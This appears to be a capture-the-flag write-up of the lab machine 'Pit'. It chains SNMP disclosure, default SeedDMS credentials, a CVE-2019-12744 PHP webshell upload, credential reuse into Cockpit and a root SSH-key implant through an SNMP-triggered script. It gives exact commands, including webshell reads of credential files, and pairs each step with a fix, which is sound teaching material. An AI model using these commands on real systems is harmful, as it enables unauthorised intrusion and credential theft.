← all walkthroughs

Pit

Linux· Medium· Web
owned
2026-07-11
time to own
11m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned all four exposed services — SSH, nginx, Cockpit, and SNMP — and found the target answering SNMP queries with the default 'public' community string. Walking the SNMP MIB leaked the internal path of a SeedDMS document-management install and the name of a root-run monitoring script.

SeedDMS accepted the well-known default credential '[REDACTED: recovered credential][REDACTED: recovered credential]', and an authenticated document-upload vulnerability (CVE-2019-12744) gave PHP code execution under the nginx web account: nginx ignores .htaccess, so the file-upload block SeedDMS ships is silently inert. Reading SeedDMS's own configuration file through that webshell yielded the database password in plain text, and the same password — reused — authenticated [REDACTED: recovered credential] to the Cockpit web terminal, providing an interactive shell.

A POSIX ACL gave [REDACTED: recovered credential] write permission on the directory whose scripts the root-owned SNMP monitoring daemon runs on demand. Dropping a script there that appended my SSH public key to /root/.ssh/authorized_keys, then issuing an SNMP walk to trigger execution, produced direct root SSH access.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration — Nmap TCP/UDP + TLS certificate inspection
Mapped all exposed services and resolved virtual hostnames from the Cockpit TLS certificate
A TCP scan found SSH on 22, nginx on 80, and Cockpit on 9090. The TLS certificate served by Cockpit carried CN=dms-pit.htb, exposing a second virtual hostname. A UDP scan confirmed SNMP on 161. Both hostnames were registered in /etc/hosts so that subsequent web requests reached the correct virtual host.
Exact commands 3
TCP version + default-script scan; the 9090 TLS cert discloses CN=dms-pit.htb.
nmap -sV -sC -p 22,80,9090 $TARGET
UDP scan — reveals SNMP on 161.
nmap -sU --top-ports 25 --open $TARGET
Register both virtual hostnames for subsequent web and Cockpit access.
echo "$TARGET dms-pit.htb pit.htb" | sudo tee -a /etc/hosts
2EnumerationSNMP unauthenticated MIB walk — information disclosure (T1602.001)
SNMP default community string leaked the SeedDMS webroot path and the root-executed monitoring script
Walking the SNMP disk-monitoring OID tree (.1.3.6.1.4.1.2021.9) against the unauthenticated 'public' community string disclosed /var/www/html/seeddms51x/seeddms as a monitored path, revealing the SeedDMS install location and its virtual-host binding. The Net-SNMP extension OID (.1.3.6.1.4.1.8072.1.3.2) further disclosed /usr/bin/monitor as a registered script executed by snmpd and leaked the username '[REDACTED: recovered credential]'.
Snmpwalk .1.3.6.1.4.1.2021.9 returned /var/www/html/seeddms51x/seeddms; .1.3.6.1.4.1.8072.1.3.2 returned /usr/bin/monitor and user [REDACTED: recovered credential]
Exact commands 2
Walk disk OIDs — reveals monitored paths including the SeedDMS webroot.
snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.2021.9
Walk nsExtend OIDs — reveals /usr/bin/monitor and the [REDACTED: recovered credential] username.
snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2
FixReplace the default SNMP community string and restrict what SNMP exposes to the networkHigh
WeaknessThe SNMP service responded to the factory-default community string 'public' without any authentication, letting any host that could reach UDP 161 walk the full MIB tree — including disk paths, registered extension scripts, and internal usernames.
FixIf SNMP monitoring is not required, disable it entirely (systemctl disable --now snmpd and block UDP 161 at the host firewall). If SNMP is needed for monitoring, replace 'public' with a long, randomly generated community string, restrict allowed source IPs using rocommunity directives in /etc/snmp/snmpd.conf, and remove or lock down the nsExtend OID section unless remote script triggering is explicitly required.
3ExploitationSeedDMS 5.1.x authenticated RCE via unrestricted file upload — CVE-2019-12744
Authenticated to SeedDMS with default credentials and uploaded a PHP webshell via CVE-2019-12744
The SeedDMS 5.1.x instance at http://dms-pit.htb/seeddms51x/seeddms/ accepted the default credential [REDACTED: recovered credential][REDACTED: recovered credential] CVE-2019-12744 is an authenticated RCE: any logged-in user can upload arbitrary files as documents. SeedDMS ships an .htaccess file to prevent PHP execution in the document data store, but nginx does not process .htaccess, so the restriction is silently inert. The uploaded PHP command shell became directly accessible via its physical storage URL and executed as the nginx web account (uid=992), confined to the SELinux httpd_t domain — which blocked outbound TCP reverse shells but allowed arbitrary file reads.
Exact commands 2
ExploitDB 50062 PoC; patch folderid to 8 (Users/[REDACTED: recovered credential]) before running. Note the returned document id (e.g. 29).
python3 50062.py -u $PASSWORD2 -p $PASSWORD2 --url http://dms-pit.htb/seeddms51x/seeddms
Confirm RCE as nginx; substitute 29 with the actual document id if different.
curl -sG --data-urlencode 'cmd=id' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'
FixPatch SeedDMS and block PHP execution in the document storage directory at the nginx levelCritical
WeaknessSeedDMS 5.1.x used an .htaccess file to prevent PHP execution inside its document data store. Because nginx does not process .htaccess files, the restriction was inert, and any authenticated user could upload a PHP file and reach it directly via a predictable URL to execute arbitrary commands as the web server account.
FixUpgrade SeedDMS to the current release, which patches CVE-2019-12744 at the application layer. Independently add an nginx location block that explicitly denies execution of scripts (deny all, or remove fastcgi_pass) for the seeddms data directory path. Enforce a server-side file-type allowlist — MIME type plus magic-byte verification — for all uploads, and consider storing user-uploaded documents outside the web root.
4Credential AccessCredentials in files — plain-text configuration file (T1552.001)
Read the SeedDMS database password in plain text from the application configuration file
With file-read capability through the PHP webshell (outbound TCP blocked by SELinux), I fetched /var/www/html/seeddms51x/conf/settings.xml, which SeedDMS uses to store its MySQL connection details. The file was readable by the nginx process and contained the database password [REDACTED: recovered credential] in plain text. This credential was immediately tested for reuse across other services on the host.
Exact commands 1
Read the SeedDMS config through the webshell; locate the dbPass attribute.
curl -sG --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' 'http://dms-pit.htb/seeddms51x/data/1048576/29/1.php'
FixRemove plain-text credentials from web-accessible configuration filesHigh
WeaknessSeedDMS stored its MySQL password in plain text inside conf/settings.xml, a file readable by the nginx process. Once an unauthorised user had code execution under that process, the credential was trivially extracted with a single file-read command.
FixMove database credentials into environment variables or a secrets manager (e.g., HashiCorp Vault, a .env file outside the web root loaded at startup). Ensure settings.xml is owned by root, readable only by the application's dedicated service account (chmod 640), and never world-readable. Audit all other application config files for embedded credentials on the same principle.
5Lateral MovementCredential reuse — valid accounts lateral movement (T1078)
Reused the database password to authenticate [REDACTED: recovered credential] to Cockpit and gain an interactive shell
SSH password authentication was disabled on the target. The Cockpit web console at pit.htb:9090 accepts Linux system-account credentials, and [REDACTED: recovered credential]'s system password matched the SeedDMS database password [REDACTED: recovered credential] Cockpit's command execution path uses a WebSocket-based terminal channel rather than a plain HTTP API; a bespoke client was needed to complete the cockpit/login handshake and open an exec channel, yielding an interactive shell as [REDACTED: recovered credential]
Cockpit exec channel opened; id command returned [REDACTED: recovered credential]'s uid; SSH password auth confirmed disabled (ssh-auth-methods scan showed only publickey).
Exact commands 2
Initial HTTP Basic handshake to obtain a session token before opening the WebSocket terminal channel.
curl -sk -u "$PASSWORD2:$PASSWORD" -H 'X-Authorize: ' https://pit.htb:9090/cockpit/login
Bespoke Cockpit WebSocket client authenticating as [REDACTED: recovered credential][REDACTED: recovered credential] against pit.htb:9090; implements the cockpit/login + init/open channel protocol.
python3 cockpit_exec.py 'id; whoami'
FixUse unique passwords per service — never share application credentials with system accountsHigh
WeaknessThe SeedDMS database password was identical to [REDACTED: recovered credential]'s Linux system-account password. Obtaining one credential immediately unlocked an interactive shell on the host via Cockpit, turning a web-application finding into direct OS access with no additional exploitation required.
FixAssign each service a unique, randomly generated password and enforce this via a credential vault. For Cockpit specifically, restrict access by source IP (AllowedHosts in /etc/cockpit/cockpit.conf), disable Cockpit for accounts that do not require remote terminal access, and require certificate-based or multi-factor authentication for any remaining Cockpit sessions.
6Privilege EscalationRoot-executed script directory writable by low-privilege user — SNMP-triggered privilege escalation (T1574 / T1053)
Wrote a malicious script into the root-executed monitoring directory and triggered it via SNMP
The /usr/bin/monitor binary — registered with snmpd as a Net-SNMP extension and invoked as root whenever the nsExtend OID is walked — executes every script matching check*.sh in /usr/local/monitoring/. A POSIX ACL granted [REDACTED: recovered credential] write and execute permission on that directory (mask: -wx, no read). From the Cockpit shell, a check_key.sh script was written that appended my own SSH public key to /root/.ssh/authorized_keys. An snmpwalk on the nsExtend OID caused snmpd to call /usr/bin/monitor as root, which in turn ran check_key.sh, implanting the key.
Getfacl /usr/local/monitoring returned user:[REDACTED: recovered credential]; snmpwalk .1.3.6.1.4.1.8072.1.3.2 triggered /usr/bin/monitor as root; /root/.ssh/authorized_keys received my public key.
Exact commands 4
Confirm [REDACTED: recovered credential]'s -wx ACL on the monitoring directory from the Cockpit shell.
python3 cockpit_exec.py 'getfacl -p /usr/local/monitoring'
Generate my keypair; /tmp/pit_root.pub is the public key to implant.
ssh-keygen -t ed25519 -N '' -f /tmp/pit_root
Drop the key-implant script; substitute <contents-of-pit_root.pub> with the actual public key string.
python3 cockpit_exec.py 'printf "#!/bin/bash\nmkdir -p /root/.ssh\nprintf \"%s\\n\" \"<contents-of-pit_root.pub>\" >> /root/.ssh/authorized_keys\n" > /usr/local/monitoring/check_key.sh && chmod +x /usr/local/monitoring/check_key.sh'
Trigger snmpd to execute /usr/bin/monitor (and therefore check_key.sh) as root.
snmpwalk -v2c -c public -On $TARGET .1.3.6.1.4.1.8072.1.3.2 > /tmp/pit-trigger.out
FixRemove unprivileged write access from the SNMP-triggered monitoring script directoryCritical
WeaknessA POSIX ACL granted the low-privilege user [REDACTED: recovered credential] write and execute permissions on /usr/local/monitoring/, and the snmpd daemon executed every check*.sh file in that directory as root on demand. Any user with write access could plant a script and trigger arbitrary root-level command execution via a simple SNMP walk.
FixRemove all non-root write ACLs from directories whose contents are executed by privileged daemons: setfacl -x u:[REDACTED: recovered credential] /usr/local/monitoring; chmod 750 /usr/local/monitoring; chown root:root /usr/local/monitoring. Replace wildcard script inclusion (check*.sh) with an explicit allowlist of specific, root-owned, immutable scripts. Where feasible, run monitoring scripts under a dedicated non-root service account rather than as root, and disable the nsExtend OID in /etc/snmp/snmpd.conf if on-demand remote triggering is not a business requirement.
7Full ControlSSH public-key authentication with an unauthorised user-implanted key (T1098.004)
SSH'd directly as root using the implanted public key and captured both flags
With my public key now in /root/.ssh/authorized_keys, the SSH service on port 22 accepted the corresponding private key for the root account. Root-level command execution was confirmed (uid=0), and both user.txt and root.txt were retrieved.
Ssh -i /tmp/pit_root root@$TARGET 'id; whoami; cat /root/root.txt' -> uid=0(root) whoami=root; root.txt captured.
Exact commands 1
Authenticate as root with the implanted private key; flag value is <root.txt>.
ssh -i /tmp/pit_root -o BatchMode=yes -o StrictHostKeyChecking=no -o ConnectTimeout=8 root@$TARGET 'id; whoami; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

22/tcp
80/tcp
9090/tcp
161/udp